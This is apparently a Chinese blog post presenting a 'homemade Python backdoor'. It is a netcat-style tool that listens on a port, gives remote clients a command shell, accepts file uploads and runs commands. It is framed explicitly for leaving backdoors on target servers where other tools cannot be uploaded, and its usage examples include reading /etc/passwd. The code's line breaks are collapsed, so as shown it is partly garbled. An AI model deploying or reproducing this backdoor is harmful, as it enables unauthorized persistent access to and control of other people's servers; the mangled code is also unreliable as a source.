1. 程式人生 > >Python入門:python自制後門程式

Python入門:python自制後門程式

應該場景:

1、當目標伺服器上有python環境(一般linux系統都會預安裝)
2、目標伺服器上不允許安裝其它工具(因為要留後門或進一步攻擊內容就需要上傳各種工具)

#python3.5


import sys
import socket
import getopt
import threading
import subprocess

#全域性引數初始化
listen              = False
command             = False
upload              = False
execute             = ""
target              = ""
upload_destination = "" port = 0 def usage(): print("BHP Net Tool") print("Usage: bhpnet.py -t target_host -p port") print("-l --listen - listen on [host]:[port] for" " incoming connections") print("-e --execute=file_to_run - execute the given file upon"
" receiving a connection") print("-c --command - initialize a command shell") print("-u --upload=destination - upon receiving connection upload a" " file and write to [destination]") print("Examples:") print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c") print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u=:\\target.exe"
) print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"") print("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135") sys.exit(0) def main(): global listen global port global execute global command global upload_destination global target if not len(sys.argv[1:]): usage() print("--------") try: opts,args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:", ["help","listen","execute","target","port","command","upload"]) except getopt.GetoptError as err: print(str(err)) usage() for o,a in opts: if o in ("-h","--help"): usage() elif o in ("-l","--listen"): listen = True elif o in ("-e","--execute"): execute = a elif o in ("-c","--commandshell"): command = True elif o in ("-u","--upload"): upload_destination = a elif o in ("-t","--target"): target = a elif o in ("-p","--port"): port = int(a) else: assert False,"Unhandled Option" if not listen and len(target) and port > 0: buffer = sys.stdin.read() client_sender(buffer) if listen: server_loop() def client_sender(buffer): client = socket.socket() try: client.connect((target,port)) if len(buffer): client.send(buffer) while True: recv_len = 1 response = "" while recv_len: data = client.recv(1024) recv_len = len(data) response += data if recv_len < 4096: break print(response) buffer = input("") buffer += "\n" client.send(buffer) except: print("[*] Exception! Exiting.") client.close() def server_loop(): global target if not len(target): target = "0.0.0.0" server = socket.socket() server.bind((target,port)) server.listen(5) while True: client_socket,addr = server.accept() client_thred = threading.Thread(target=client_handler,args=(client_socket,)) client_thred.start() def run_command(command): command = command.rstrip() try: output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True) except: output = "Falsed to execute command.\r\n" return output def client_handler(client_socket): global upload global execute global command if len(upload_destination): file_buffer = "" while True: data = client_socket.recv(1024) if not data: break else: file_buffer += data try: file_descriptor = open(upload_destination,"wb") file_descriptor.write(file_buffer) file_descriptor.close() client_socket.send("Successfully saved file to %s\r\n" % upload_destination) except: client_socket.send("Failed to save file to %s\r\n" % upload_destination) if len(execute): output = run_command(execute) client_socket.send(output) if command: while True: client_socket.send("BHP:#> ".encode()) cmd_buffer = "" while "\n" not in cmd_buffer: cmd_buffer += client_socket.recv(1024).decode() response = run_command(cmd_buffer.encode()) client_socket.send(response) main()